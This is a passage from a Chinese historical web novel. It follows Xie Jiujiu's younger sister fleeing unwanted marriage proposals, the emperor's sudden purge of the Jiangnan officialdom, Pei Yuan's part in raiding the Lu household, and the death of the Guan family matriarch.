“我来是因为不想嫁人,这两年家里给我说的人家没有二十也有十五个,我一个也不愿意。现在县城里我都出名了,都说谢家的三姑娘眼高于顶,是想要当凤凰。” 谢芝娘不在意这些风言风语,但时间长了就觉得待在家里憋屈。几个月前跟黄娟吵了一架母女俩就一直不对付,这才哄着谢文济点头,让她来京城找姐姐来了。 第116章 第116章等待收网 谢芝娘一说嫁人的事,谢九九头都大了。 当年裴元考中举人之后,家里想要给芝娘说亲的人就差点没把门槛踏破。 那时候谢九九刚分家出去,谢文济又马上就要娶媳妇儿,黄娟从本能上就舍不得再给芝娘说亲,就以她年纪还小把那一波人都给推了。 那一年谢芝娘十二,比起寻常人家的小娘子她经历过的事情更多,但是又没有真正让她吃过苦头,所以本质上来说还是个有些世故但更多天真的小丫头片子。 小姑娘在姐姐要离开家乡去京城的那天,死死攥着谢九九的衣袖,眼眶通红哽咽着问她,自己要是在家里待得不高兴,能不能去京城投奔她。 谢九九当时的回答是当然可以,等她在京城安顿下来,芝娘想什么时候过来都可以。 当时姐妹两个都有未曾说出口,但又互相心知肚明的话。谢芝娘不是还生气黄娟这个当娘的把大姐分家出去,她甚至当时就已经隐约明白分家对姐姐来说是好事。 她害怕的是家里即将多一个嫂子,就像当初她一样忐忑家里要多裴元这么个姐夫是一样的。 不过张桂兰这个嫂子是会做人的,过门之后跟谢芝娘这个小姑子相处得着实不错,芝娘也就再没有提过要来京城的事。 “娘从前年开始就着急了,隔三差五就要问我到底想找个什么样的人家。我说我不知道,她就非说我是心气太高,早晚要耽误了自己。” 谢家不是那等规矩森严的人家,张桂兰过门之后也没改了出门骑马,得空就要出城打猎的习惯。时间长了,谢芝娘也会跟着嫂子一起出门,渐渐地骑马狩猎就也都学会了。 骑术不怎么好,但骑在马上只要不惊了马就肯定不能从马背上掉下来,搭弓拉箭也得靠运气,运气好了能打野鸡兔子,运气不好出门一趟空着手回来,连箭筒都空了。 刚开始家里并不约束她,一来有谢九九这么个离经叛道不走寻常路的姐姐顶在前面,谢芝娘再怎么在黄娟眼里也不过是孩子还小爱玩儿罢了。 二来张家是本地驻守的百户,娶了张桂兰这么个儿媳妇,谢家也没打算走什么耕读传家的路子,芝娘愿意学那就学,小姑娘就这么几年松快日子,等出嫁之后为人妻为人母,到时候想玩都不成了。 可这样的日子总归有到头的一天,随着裴元成了状元又入了翰林院,还有行商带回来说陛下给状元郎御赐的宅邸的消息,谢家的门槛就彻底被踏破了。 “姐,不是我想做凤凰,也不是我眼高于顶,只是那些来提亲的人家实在是……” 谢芝娘低头思索了一小会儿,蹙着眉头像是在找合适的词,好像能说出来的话极不好听,说哪个都怕谢九九听了生气。 “像是待价而沽,我就是个物件,因为姐夫是状元了所以咱们家所有人都跟着水涨船高,家里又只剩下我没成亲,唯一一个能最快搭上这条船的机会,就是我了。” 除了血亲,这世上最便捷又最快速的结盟方式便是联姻。就像宫里也有番邦外族送来的公主为妃嫔一样,容县和岳州多的是人想要跟裴远舟做连襟。 “我知道那些提亲的人家里很多都是好人家,可是我一个人的时候老忍不住想,要是我不是你妹妹,我没有姐夫这样的姐夫,他们那样的人家会愿意娶我这样妻子吗。” 谢芝娘自觉自己没什么格外出色的地方,模样不如姐姐和哥哥出色,谈不上难看但是也绝算不上多漂亮。尤其越发眉眼就越发清淡起来,从小就觉得谢九九那样明艳大方才是美的芝娘,就更加觉得自己不好看了。 性情不温柔就罢了还不爱笑,见这谁都板正着一张脸,跟爹和姐姐哥哥都不一样。女工还行,比姐姐好一些,但是也算不得特别好。 虽读书认字,但也就只是读书认字,那些个官家小姐会的诗词歌赋她一样也做不来。算账管家倒是还行,可如今能来提亲的人家至少至少也是容县有名的富户,人家家里不缺账房,这本事如同鸡肋可有可无。 唯一的非自己不可的用处,应该就是给娶了自己的那户人家做个踏板,能让他们名正言顺的攀附上裴大人。 即便现在攀附不上,自己成亲以后总要生孩子的,生的孩子跟阿满阿福就是表兄弟了。老话说得好,古表亲辈辈亲,打断骨头连着筋。到时候姻亲也成了血亲,这便是自己最值钱最稀罕的地方。 “姐,我知道他们都不是奔着我来的,所以我都看不上,我看不上就不嫁人。实在不行,再过几年我就梳了头发做姑子去。” 芝娘比自己爱憎分明,只是谢九九很久以前就知道的事情。当年自己要跟裴元成亲,她便夜里到自己房里来,问自己明知道这桩婚事各有所图为什么还要答应。 这便是天性,谢九九生来就觉得自己有所图、自己身上有东西让别人所图并不是一件坏事,人生来逐利,没有人会无缘无故对 一个人掏心掏肺的好,真要有这样的人,谢九九反而害怕。 自己和裴元从相识走到今天,两人一直都在互相给予。越来越显赫的地位,越来越殷实的家境,两个孩子一个家,这都是换一个人就不见得能给对方的东西,所以两人之间的情义也越发深厚,厚得谁也离不开谁。 但芝娘不一样,她不图别人的就也不愿意别人对她有所图,更何况在她心里别人图的还不是她,这又让她如何能心甘情愿地上花轿。成亲这种事不情愿,往后的日子还能过得好? 所以芝娘跟谢文济说她要往京城来,谢文济面上不同意,隔天就交代张桂兰给她收拾东西。黄娟那边发了好大的火,连着几天把芝娘数落得一无是处,但临出发前还是托了娘家弟妹,让芝娘跟着镖队一起来了京城。 “行了,这事我明白了。只不过你来得实在不巧,这京城我和你姐夫恐怕是待不了多久了,之后要去哪儿也说不好。这些日子你就安心在家里住,抓紧时间把京城该去的地方都去了。等你姐夫那边有结果了,就跟我一起去任上。” “啊?” “啊什么啊,你哥放你来我这儿,到底什么意思你不明白?当时不明白这一路还没明白?” 明白,怎么敢不明白。再留在家里,芝娘的名声只会越来越差,不管家里给不给她相看人家都是一样的。 唯一的办法只能是远离家乡,对外人说芝娘是去她大姐那边了,那么大家伙就会自然而然地觉得谢家是想要给女儿在京城找婆家。 这么一来,时间久了就没人会天天念叨着,谢家那三姑娘如何如何,大家都有自己的日子要过,谁还记得谁啊。 裴元还不知道家里多了不愿意嫁人,要跟着去任上的小姨子。圣驾到了南京城之后,随行的官员便彻底忙碌起来。 迁都之后,南京的六部越来越形同虚设,倒是其下各府各州的巡抚知府知州更有实权。南京城里多少官员终其一生,除了殿试和每三年进京一次述职,就再也没有机会面圣。 这些人名义上都是六部的堂官,这个侍郎大人那个郎中大人,可真正论起来他们见陛下的次数,还不如京城翰林院里最普通的编修检讨面圣的机会多。 这些人平日嘴上说着最冠冕堂皇云淡风轻的话,等陛下真的来了南京,又一个个开始到处钻营送礼,为的就是能多面圣,万一真就得了圣上青眼调去京城了呢? 再加上南直隶的范围一共十四个府四个州,大半个富庶江南都被囊括其中。圣驾停在南京城里,南京六部和各府各州的官员自然都要赶来拜见。 这么多官员都动起来可不是小事,裴元和周既白、林怀瑾暂住的寺庙小院,不过三两天就堆满了各处送来的东西,笔墨纸砚孤本茶叶,都是些值钱却又不能拿金银衡量的雅致物件。 便是有御史想要以此为由来弹劾,也没法说。读书人的事哪能用金银黄白之物来衡量,俗!太俗气! 明面上为了不俗气,私底下为了不打草惊蛇,御前这些多多少少知道内情的人都来者不拒。裴元是真不拒,他家底子最薄,哪怕这几年攒了些东西,家里两个饭馆也算的上生意兴隆,但比起身边那些家中几代经营的同僚们,还是格外两袖清风。 周既白和林怀瑾是不敢拒,林怀瑾好点儿,当年他中了探花郎之后,就被会昌侯府召了女婿。 会昌侯府能封侯是因为家中出了个曾得先帝圣宠的钱贵妃,贵妃后来成了贵太妃,钱家依旧荣宠不衰。再后来贵太妃死了,钱家也慢慢沉寂下来。 但再沉寂,或许是知进退有分寸,会昌侯府这个侯爵依旧还在,钱贵太妃的弟弟会昌侯老而弥坚,看样子能奔着人瑞的年纪活,侯府的后辈儿没有什么大出息却也闯不出大祸,就这么温温吞吞在京城不显山不露水的维持着。 直到老侯爷亲自过问又派人去林家说和,把家中重孙辈的姑娘嫁给林怀瑾这个探花郎,大家才记起来京城还有这么个侯府,和侯府得了的这个好女婿。 外人看,会昌侯府早落魄了,万千盛宠的钱贵妃那都是多少年前的事了,现在的会昌侯府只等着老侯爷什么时候去世,会昌侯府变成会昌伯府,就越发没人在意了。 但在林怀瑾看来,这门亲事正经挑不出半分毛病。会昌侯府是外戚,却又胆小不张扬,侯府看着不显山不露水其实底子厚得很,正好适合自己这个从扬州来的,林家旁支的探花郎。 这几年日子他过得不错,妻子带过来的嫁妆丰厚,扬州那边见自己娶了侯门闺秀,本支也给了不少帮衬。日子过得顺心自然就更加不愿意惹麻烦,现在看着一天比一天紧张的局势,他是真后悔跟着圣驾出京城来。 “你后悔什么,等南京的事情了了,你回了京城照样还是翰林院的林编修。你看看我,我这儿才叫真正的里外不是人。” 那天裴元强行打断周既白之后,周既白原本还有些浮躁的心就彻底沉了下来。有些事欲盖弥彰也呼之欲出,只看你敢不敢去掀那个盖子。 虎着胆子看清了陛下打算的周既白如今是真成了骑虎难下,他既不敢提前给自己家族传递消息,又不能在御前装死不干自己的差事,现在他看着御前越来越忙越来越紧张的氛围,他自己都想找根绳子去吊死了。 “你们俩好了啊,要吵等事情完了回翰林院了再吵,在外面不怕传出去丢人,你们就可劲儿的吵。” 裴元知道的比他们多,他们现在的焦躁很快就要结束了,这一路过来圣驾就像个巨大的鱼饵,已经勾住了足够多的大鱼,只等着收网了。 第117章 第117章网收得很突然,甚…… 网收得很突然,甚至连御前很多人都没反应过来。 裴元的门被敲响的时候他刚脱了衣裳准备睡觉,一听敲门的动静睡在外间榻上的曹勇蹭地一下跳起身来,三两步走到里间:“爷,这个时候来人,开不开门。” 曹勇这几年跟着裴元算是练出来了,不光是眼力见还有胆色也跟以前不可同日而语。此刻他手里攥着一把两边开刃的匕首,衣裳整齐站在门旁,目光锋利灼灼,看这架势就知道要是外边来的人有半点不对劲,他就要先下手为强。 “别急。”裴元笼了笼刚松散了的头发,随手拿了块头巾系成个发髻,又拿过一件宽松半旧的道袍披上,一边从床榻上下来一边往外走,“怀瑾,这个时辰就别给我看你那酸诗了,明儿个咱俩还要去陛下那里轮值,早早地睡吧。” 裴元的声音原本清亮,此刻却染上了几分慵懒和困顿。要是是外人或许听不出来,但来人是御前伺候的太监,这两个多月大家在御前抬头不见低头见的,人精似的太监自然能发现这一点点不同。 “裴大人,是奴才。”门外的人没有自报家门,只有才字上的尾音稍微拖长了一点儿,好让裴元能认出来他是谁。 “袁公公怎么这个时辰过来了,可是陛下召见。” 袁三儿,论辈分是秉笔太监刘允的重孙辈儿,但因为一直在御前当差,即便只是个端茶递水的太监,官员们也得给他三份薄面。 “裴大人,陛下口谕让您即刻赶往刑部衙门。”袁三儿说到陛下口谕的时候腰往下塌了塌,态度看上去极为恭敬,“今夜不安稳,裴大人再带个斗篷吧。” “这个时候去刑部,陛下可说了因为什么。” “大人到了就知道了,此刻不必多问。” “袁公公稍等片刻,本官马上动身。” “不着急,不着急。” 袁三儿站在门口不动,同一个院子听见动静的林怀瑾也披着衣裳出来。站在门 口往裴元这边看,想说话又被裴元摇摇头给制止了。 周既白那边也点亮了灯,但影影绰绰间只模糊瞧见个人影儿站起来,又很快坐了回去。御前只来了一个内侍只召见了裴元一人,这个时候不该问的就不要多问,问多了是祸不是福。 穿戴整齐,裴元又听话地拿了一件斗篷随意卷吧卷吧搭在胳膊上,这才跟着袁三儿出了门。 南京城没有宵禁,秦淮河畔灯火通明月声悠扬,夜里还有许多花船荡在河面上。因为皇帝来了南京,已经许多年不再是国都的南京城又抖擞了起来,南京和整个南直隶的官员嘴上不说,但心里还是一个个都多了几分说不出口的奢望。 马车车轮压在青石板上的声音连绵不断,坐在马车里的裴元尽量平复着呼吸。他已经猜到了八九分今夜会发生什么,但心还是忍不住越跳越快。 秦淮河边的琴声悠扬不知道从何处传到马车里,裴元忍不住抬手撩起马车帘往外看,这条路此刻除了好整以暇的禁军和几个骑马飞驰而过的锦衣卫缇骑,并无闲人。 “裴大人紧张了?” “水到渠成的事,谈不上紧张不紧张。” 确实是水到渠成,这一路收集到的证据已经足够让整个南直隶的官场翻天,这里面甚至还包括了今科状元的家族也被牵扯其中。这搞不好,刚出炉的状元,明日就要变成阶下囚了。 南京城的刑部和都察院连着,此刻都是灯火通明如同白昼。裴元从马车上下来的功夫,还有几个翰林官和礼部吏部随圣驾南巡的官员,也从不同的马车上下来。 大家面面相觑谁也没傻子一样问对方,怎么你也来了。这段时间在御前把收罗来的证据一点点分类夯实,出力最多的人基本都在这里了。 裴元明白,这些官员跟自己一样,用行动给陛下交了一份令人满意的投名状。所以这一次刀落下他们都得参与,日后才好以此为依据论功行赏。 穿过前厅大堂,二堂里已经站满了锦衣卫,其中有一小部分缇骑,更多的还是平时露面很少的暗探番子和专职抓捕的厂卫。 也正是到了此刻,裴元才又见到了消失许久的徐裂云。成了锦衣卫同知的徐大人跟在翰林院的徐编修判若两人,至少裴元进院子的时候没认出来,眼神从他身上飘过去,顿了一下又挪回来,认真分辨了几息才确定,这人真是徐裂云。 裴元的目光过于赤裸裸,看得徐裂云差一点就破功笑出来。抬手压住嘴唇干咳了两声,才勉强忍住。 皇帝会突然下狠心要那江南官场开刀,最粗浅的原因是户部从江南收上去的税银钱粮一年比一年少,都说水至清则无鱼,可要是着塘里鱼没了水也没了,这就多少有些说不过去了。 更深一层的原因,还是江南官场上下一心,颇有些要连成一块铁板的架势。豪富和官吏不是血亲就是姻亲,从上至下没有他们不能插手的地方。动一动,就拿盐铁织造来做挡箭牌,好似这世上没有他们,整个天下就都维持不下去了。 可殊不知,这世上就没有‘离了王屠夫就要吃带毛猪’的事,陛下之前不动这些人,不是舍不得这些臣子,而是舍不得自己的名声。 毕竟这天下最能唬人的就是读书人的笔杆子,得罪了读书人的皇帝,身后名就算是废了一半。 但皇帝终究是要死的,离死亡越近有些舍不得也成了舍得,毕竟江南的官场眼下不动,等往后新帝登基,这朝廷就越发不归皇帝说了算了。 “裴大人,等会儿还请您带领关镇抚使往鲁府去,关镇抚使抓人,您按着单子抄家。” 裴元深深看了徐裂云一眼,虽然猜到了今晚自己要干什么,但亲耳听见之后心里还是难免咯噔一下,又抬头往关宁业那边递了个眼神。 ‘鲁府?鲁阁老那个鲁?’ ‘对,就那个。’ 鲁阁老做了一辈子简在帝心的宠臣、能臣,要说他的家人族人一点过分的事情都没做过,说给狗听狗都不信。但鲁阁老再怎么在内阁一言堂,鲁家再怎么在南直隶只手遮天,即便是对不起天下人,那唯一对得起也肯定是皇帝。 现在皇帝垂垂老矣,最狠的第一刀就要往鲁家头上砍,还要关宁业去抓人,真可谓是杀人诛心。关家这些年又何尝不是另一个鲁家,这次是鲁家,又岂能说得准下一次不是关家。 雷霆雨露皆是圣恩,不管心里如何万千复杂,在南京城里屹立了百年的鲁府,还是被锦衣卫的缇骑踢开了大门。 鲁家养的护院说是私兵也不为过,整个府邸前后侧门被团团围住之后,前院还冲出来的将近七八十人,想要护着府里的女眷孩子冲出府去。 裴元站在关宁业身边,两人就这么沉默地看着,看着那些护院被缇骑和厂卫诛杀殆尽,看着那些女眷被吓得瑟瑟发抖狼狈不堪。 鲁家的罪状和贪酷证据裴元经手得最多,看着眼前的场景裴元心中并没有太多不忍,毕竟这般煊赫巍峨的百年鲁府,也是踩着累累白骨伫立的,这些女眷头上的簪花钗环,都是自己案头上的那些死罪换来的。 “来京城四年,只见过大表哥一次,也不知道今年还有没有机会再见一次。” 关平业前年回了一趟京城,一是回京述职,二是看看家中年事已高的祖母,之后过了个年便带上妻儿又去了任上。 “大哥在知府的位置上还没待满一个任期,想要回京怕是艰难些。不如等你出京外任之时,绕路去看看他倒是正好。” 关平业跟关如璋的性情相似,却又比关如璋更随和些。当时他回京裴元跟他吃过几次酒,对他的印象特别好。 现在看着眼前慌乱得不像样子的鲁府,裴元就更加希望关家日后能避免这般大祸临头的一天。至少,至少别让自己看见,百十年后的事自己不知道也就罢了。 “知府是一府官长,大表哥只要能把所辖之地治理好,回京不回京倒是不那么要紧。” 喧闹间,缇骑拿过来两份册子,一份是被缉拿的名单,一份是抄家的名单,鲁府的很多东西都是造了册的,比起金银更值钱更不能落下的是这些稀世珍宝。 “倒是你,这次回去以后真要好好想想了,这次只是一个开始,就跟戏台子上一样,锣鼓敲响戏才开场,要不要唱下去,表哥和舅父们都得三思啊。” 裴元看了一眼册子,近乎呢喃地把心中压了许久的话说出来,便率先抬腿往鲁府里走。自己不想上戏台,今夜就必须把差事干漂亮,才能去御前讨一个自己满意的官职回来。 江南的风波一时半会儿还传不回京城,几乎半空的京城显得比往日要安静许多,府里连收的帖子都少了大半。 男人们跟着陛下南巡去了,各家各府好像就少了主心骨,有几户人家干脆把府门一关,那架势一看就是家中老爷一天不回来,这大门就不开了。 谢九九对此不置可否,别人家过日子想怎么过就怎么过,不下帖子正好,正好自己省了时间出来,还能带着芝娘好生把什刹海护国寺等京城内外的景致走上一遍。 “姐,今天我们去哪里玩啊。” “哪也不去,吃完早饭随我去一趟关府,来了这么久你也该去那边府里给老太太请个安才是。” 关家这次除了关宁业,关如璋和关如琅最终都没有随驾出京。工部尚书实在年纪大了,圣驾还没出京他就因为工部事情太多病倒,眼下工部所有大事小情全归关如璋管着,他想伴驾也走不了。 关如琅则主动提出留守东宫,毕竟眼下是太子监国。二三四五皇子人是跟着陛下一起出了京城,但他们留下的幕僚门客可没走。 这些人明面上都老老实实待在家里不出门,但暗地里一双双眼睛都死死盯着东宫,东宫现在咳嗽一声都能传成太子病了,还病得不轻,在严学士跟着圣驾南巡的情况下,关如琅不可能再走。 关家两个老爷都没出京,御前的事情就只有从关宁业和裴元这里知晓。即便送回来的家信里并无只言片语,关家也隔上两天就要派人往家里来一趟。 没事的时候常来常往,等到有事的时候两边府里真要传递什么消息,也就不起眼了。 谢九九说要去关府,谢芝娘自然没有什么不同意。两人带着两个孩子到关府的时候,正好碰上有戏班子进府,说是给老太太唱戏解闷的。 谢九九眉峰一挑,看向出来接自己的小冯氏,“老太太不是不喜欢听戏,今儿怎么有这个兴致。” “先进去再说。”小冯氏脸上的笑意有些勉强,“见了老太太,你就什么都明白了。” 第118章 第118章无可奈何 戏台子是临时搭的,就面对着颐寿堂后面的院子。 大夏天屋里前后的窗户几乎都打开了,屋里角落都摆着冰盆,几个主子太太身后还站着丫鬟打扇,戏台上的热闹和屋子里的安静形成了鲜明对比,这般规矩大得有些唬人的架势,着实让芝娘开了眼。 老太太歪在罗汉床上靠躺着,眼皮半耷拉下来芝娘甚至分不清这老太太是睡着了还是醒着。还是阿福噔噔噔迈着小短腿凑到庞氏身边,大半个身子都趴在罗汉床上喊太姥姥,庞氏这才哎哟一声笑着把这肉球揽到怀里抱着。 “今儿来得巧,你不来我也是要让人去请的。” “给外祖母请安,哪里敢让外祖母派人去请,外祖母心念一动我在府里就感应到了,这不就赶紧过来了。” “你这猴子,真 把我当外面那些个生意人糊弄是不是。我可都听说了,谢家大娘子长袖善舞,是个极有能为的人,寻常男子都厉害不过你去,是不是有这么一回事。” “最近听说你张罗着卖地,是手头没现银了?这事我这个老婆子做主叫停了,你也不用往外面去想办法,我这个当太姥姥的难道还能让两个孩子跟着你们夫妻两个吃糠咽菜去?胡闹。” 庞氏很少,甚至可以说从未过问过谢九九在外面的事。 甭管云客来和状元楼生意好不好,也不管这几年谢九九在外面置办了多少产业,她顶多也就是状似无意地问一问关令仪,小两口手里的银子趁不趁手,要是短了千万别到外面去想辙,她的私房里有给裴元准备的那一份儿,尽管来拿就是。 今天突然提起这个,谢九九后脊梁骨一激灵,腾一下就窜起半身鸡皮疙瘩来。这老太太真是人老成精,天天待在这深宅大院门都不出,偏什么事都瞒不过她去。 “老太太这话说得,我都要无地自容了。” 阿福还不知道发生了什么,肉球一样靠在老太太身上,抬头看看老太太又扭头看看自己亲娘,再转头冲着坐在一旁的关令仪傻乐呵。 “元哥儿要外任这事我不拦着,非但不拦着,还要催你们赶紧走。” 今年刚听说陛下要南巡,庞氏就知道坏了。从陛下还是皇子的时候起,这位爷最拿手的就是这一招,先给你们个甜枣把你们都砸得晕晕乎乎的,然后等暗地里把所有证据都收罗齐了,再一刀砍下来谁也别想跑。 当年齐王跟陛下争皇位就是这么败的,那一次齐王的罪状收罗了将近二百条,奏疏和证据摆在先帝的书房里听说连下脚的地方都没有。 逼得先帝想保住齐王都没法子,只能亲自下旨把齐王送回封地圈禁起来。关家也正是因为那次的风波,被先帝事后算账贬谪去了岭南。 但那就是结束了吗?当然不可能。之后还是太子的陛下和已经被圈禁的齐王,甚至还有远在岭南的关家和太子党,都在不断你来我往的斗争、不断斗争,直至陛下登基齐王赐死,齐王一党被诛杀殆尽,陛下的刀刃才入鞘。 如今这一场戏是老调重弹,唯一的区别只不过是当年的刀而今也成了待宰的鱼肉,仔细想想又有什么区别。 这其中的道理庞氏早在圣驾南巡之前就跟两个儿子说过了,但两人对此的反应和态度都不能让庞氏满意。 关如璋离工部尚书只有一步之遥,哪怕当年整个关家的教训还牢记在心底,可他眼下不想退也退不了。他也有他的门生故吏,自己要只为了一个还没落下来的刀就这么萌生退意,那些个狼崽子就总有办法把自己绑到贼船上,再没有下船的机会。 关如琅就更没法走了,他当年入了詹事府之后就一直没出来。说白了他就是陛下留给太子的臣子,别管现在陛下跟太子关系如何,当年他进了詹事府,就注定了他这辈子得效忠太子。 太子现在到了最要紧的关头,谁都能走就他不能走。现在不管他找什么借口,陛下和东宫都不会放过他。所以,面对庞氏语重心长的劝说,这两兄弟给的回答都是沉默不语,再不然便是几天不着家,彻底躲了。 “我知道他们都是身不由己,可再是身不由己难道比命还重要?” 庞氏老得连说话的声音都嘶哑了,她抬眼去看谢九九,眼底浑浊得让谢九九心惊。她甚至有些分不清,这双眼睛到底是活人的还是死人的。 “当年关家遭了那么大的难,丢了令仪死了老二。回来这几十年,老大或成了个人精,谁提起关侍郎都要说他八面玲珑圆滑世故,可……” 到底是上了年纪,说起这事庞氏越说越激动,一激动就止不住的喘咳起来。年迈之人的干瘦是锦衣遮挡不住的,谢九九抚在庞氏后背摩挲的手心甚至能清晰地摸到她后背凸起嶙峋的骨节,随着呼吸急促起伏。 “可再玲珑世故,究其根本也还是为了关家起复。有些事忍一忍没什么所谓,可有些事有些东西,一旦拥有了再想要自愿抛弃,就千难万难。” 就好比当初自己放弃云客来,那是因为知道没有自己云客来也还在,才能那么潇洒的放手。要是当时是外人想要抢了云客来?谢九九就是拼了这条命不要,也得闹他个天昏地暗日月无光。 乃至裴元这次做下的决定也是一样的,裴元走到今天这一步不容易,当初来京城借了关家的势,这三年不说一点儿没还,也顶多算得上给关家锦上添花。这个时候离开,并不算厚道。 但即便如此,裴元还是要选择离开。因为他舍不得如今他拥有的一切,他得想尽办法守护住这一切,不论为此付出什么,关如璋和关如琅两兄弟不肯抽身,亦是一样的道理。 “老太太,无可奈何这四个字您比我明白,两个舅舅现在是骑虎难下,硬着头皮往前走或许还有一线生机,要是现在就抽身离开,您道是咱们那位陛下是什么活菩萨不成。” 说到最后一句话时,谢九九的语气已经轻得如同呢喃。近几年已经老得有些耳背的庞氏却听得一清二楚,比眼珠还要浑浊的一滴眼泪,也顺着皱皱巴巴的脸颊滑落下来。 真要是活菩萨,当年就不会把关宁业从关家手里抢走。别看关宁业如今明面上跟府里和严学士甚至东宫关系都还算亲近,但所有人都知道,关宁业这辈子都只能是陛下的一条鹰犬了。 要是命好,将来新皇登基他还能有个几十年的荣华富贵,要是命不好,掌管了这么多年诏狱的北镇抚使,十有八九也得死在诏狱里。 “是啊、是啊……无可奈何,无可奈何……” 庞氏半垂着头把这四个字翻来覆去的嘀咕咀嚼,语气里的悲怆萦绕在谢九九的耳畔在,甚至比不远处戏台上的戏子还要凄切。 身在局中,有些话有些事局内人总是难以看清。在关家人眼里,他们是几经起伏历经了世事也勘破了世情才走到今天,而在谢九九眼里这一家子压根就没有从这个局里面出来过。 不过是当初被贬谪去岭南,又或是回京之后的蛰伏,亦或是关老大人去世带来的转机和现在,关家的命运都被牢牢绑在陛下身上。 关家还没有资格做陛下的骨血 ,顶天也就是依附陛下而活着藤蔓,要是想要挣脱出来,陛下这颗苍天大树对此无可无不可,但关家这根藤蔓恐怕不扒层皮脱层肉,是不可能急流勇退的。 这个道理庞氏能不懂吗?只不过除了谢九九没有人会这么直白地跟她把这个道理说清楚。 谢九九跟她没情分,但几年时间相处下来又实在不忍心看这老太太这幅没头苍蝇是似的,明明什么都看清楚了,又仿佛被困顿其中分辨不明的样子。 “是了是了,是这个道理,我们关家啊,到了无路可走的时候。” “好孩子,我知道你是个好孩子。你心软,可怜我老婆子才跟我说这些实话。你母亲她们心里不是不明白,可都不说、不说啊。” “娘,咱不说这个事了,好不好。” 眼看着庞氏的情绪越发搂不住,关令仪起身接替了谢九九的位置,今儿把戏班子叫来又打算去请谢九九,就是想大家伙热闹一下开解开解老太太,这些可好,把话说到这份上还开解什么啊。 “你们都不说,都捂着耳朵,都以为就这么把头埋在土里,不管什么事就一句有老爷在外面支应,就真的什么事都没了。” 庞氏神色恹恹靠在关令仪身上,“你两个嫂子不明白,令仪你还不明白吗?这事别说无可奈何,便是自断双臂,也必须……”也必须做个了断。 高高兴兴的来,回家的路上芝娘抱着阿福和阿满连话都不敢说。阿满吧嗒吧嗒直掉眼泪,她启蒙懂事就在京城了,她能明白方才娘在颐寿堂跟老太太说的话,到底是什么意思。 回府之后,一直没关上的状元府终于也关了门,除了春儿和潘掌柜他们几个,外人来了不见帖子收了不回,就连每天采买的下人都只从角门进出。 谢九九在等,等一个她害怕的结果。但再害怕人也犟不过天,五日之后的清晨,关府的人一脸恓惶地来报丧,关家老太太昨夜病重药石无医,今早天亮之际撒手人寰,去世了。 庞氏去世的消息被信使带着飞驰出京的同时,南京城乃至整个南直隶的天都变了。 那天夜里一鲁府为首的几个显赫高门被抄,府里的男人全被关进刑部和都察院的大牢里,谁也不准探视。 原本随驾出京的锦衣卫莫名多了许多,其中还夹杂了不少东西厂的厂卫和太监,每天在刑部衙门进进出出,便是一句话不说一个人不杀,也足够吓死人。 “诶,我说你们这都什么毛病,人不是都抓回来了干嘛还让你们手下那些人,天天拿着那绣春刀进进出出瞎晃悠,晃得人眼睛疼。” 锦衣卫和厂卫负责抓人,审讯问话有刑部的人。该问什么每天该提审哪些人,这些又归裴元领头的这些由翰林院、大理寺甚至还有几个从礼部抽调来的,这一路都在御前侍奉的官员负责。 “又不是所有的都抓起来了,我们不在外面耀武扬威怎么把他们的胆子吓破。” 关宁业翘着二郎腿坐没个坐像歪在裴元屋子里,看着裴元写东西,这些都是审出来能定罪了的人,条陈写好交给内阁,内阁审阅过没问题送去司礼监,然后再摆到陛下案头。 “再说这损法子不是我想出来的,是徐大人想出来的。到底是读书人狠心哈,你看我们锦衣卫办事,陛下让查什么就查什么,人抓到就行了。谁像他啊搂草打兔子的,又顺藤摸瓜扯出来好几家。” 徐裂云这一招不新鲜,就是摆出一副天要塌了的架势来唬人。这种情况下聪明的人家就能撑得住按兵不动,不聪明的上蹿下跳很快就能露了马脚。 这个时候抓住的人家反而官职不高,犯的事也不算大,有两户家里连个当官的都没有,就是南京城里本地的豪富。 抓住他们审上两轮,比正经抄家赚的少不了多少。徐裂云为此在陛下跟前被夸了又夸,毕竟这一部分的银子,可都进了陛下的私库。 “这话你有本事到他跟前说去,跟我这儿说不算本事。” “我不去,你也不许去学。那人多少沾点儿邪性,我才不招惹他。” 关宁业一直觉得自己就算是本朝独一份的文人当锦衣卫,能当得这么顺手的。没想到天外有天,徐裂云那才是骨子里天生当酷吏的料。他现在是踏踏实实办自己的差事,轻易不招惹他。 表兄弟两个一边琢磨明天应该提审哪些官员,一边说着闲话,原本有些沉闷的气氛也松散了不少。 直到关宁业身边贴身的小厮跌跌撞撞跑进院子里来,双目通红嘶哑着报丧说老太太去了,两人这才生生被惊出一身冷汗来。【你现在阅读的是 】 【终章】 第119章 第119章新的未来(…… 本朝以孝治国,老太太是关宁业的亲祖母,裴元的身世如今虽鲜少有人提及,但血脉关系摆在那里,第二天行宫就下了口谕出来,准许两人把手里的差事交代出去,立马回京奔丧。 “你看看,这眼看着就要收尾了,你一走这差事归了我了,这功劳你说我这不是算白捡的算什么。” “知道是白捡的还不老实接着,跟我这儿耍嘴皮子好玩儿啊。” “好玩儿啊,谁让我第一次看你就不顺眼,我不跟你这儿说些牢骚话,难不成还去烦别人啊。” 接裴元手的人是周既白,周家在这次的风波里算得上断臂求生,周既白一个伯父一个叔叔如今还在刑部大牢里关着,要不是他们家早在十几年前就分了家,这次周既白恐怕也要受牵连。 “你啊,是不是冷板凳没坐够,什么时候了还嘴硬。就不怕我被你说急了去陛下跟前告一状,这差事还得唤人。” “别!”一听说要唤人,周既白立马就软了,“今天出门我家老爷子高兴得直掉眼泪,一个劲的说周家还有盼头还没倒,要让外边那些等着看周家笑话的人都瞧瞧,陛下还记得周家,没忘了周家。” 周既白学他爹学得惟妙惟肖,看得马上就要回去奔丧的裴元都忍不住笑了一下。这人从当年院试刚认识的时候就一直这样,为人有些小气还有些轴,认准了的事和人就很难回头。 当年认准了裴元是自己的对头,就总要找机会呲呲他几句,哪怕后来两人同在翰林院关系缓和了,这个习惯却没能改了。 “笑了?笑了就行,多大个事啊拉拉着脸。你放心,我们周家后面这一二十年肯定都得夹着尾巴做人,你的功劳肯定还是你的。陛下想着你呢,才让我来接你的差事,要不然今天过来的就该是林怀瑾。” 会昌侯府再是破落户那也是侯府,要是现在陛下指了林怀瑾来接裴元的活儿,这个桃子说不定还真让人给摘了。但周既白清楚自己的后路,他这辈子该做的能做的,就是压住一切抱负和野望,老老实实在翰林院待着。 不显山不露水,最好这辈子都别再让陛下想起来还有个周家。就这么等着,等到这次江南大变在世人心里渐渐淡忘,等被贬谪或之后被赐死的官员不再有人记得,甚至等到他们坟头上的树都葱葱郁郁长大了,到时候周家才有翻身的机会。 “行了,我用不着咱们周传胪安慰,我好歹也是三元及第的状元郎,哪还能缺了我这个人这口饭,安心办事,别想太多。” 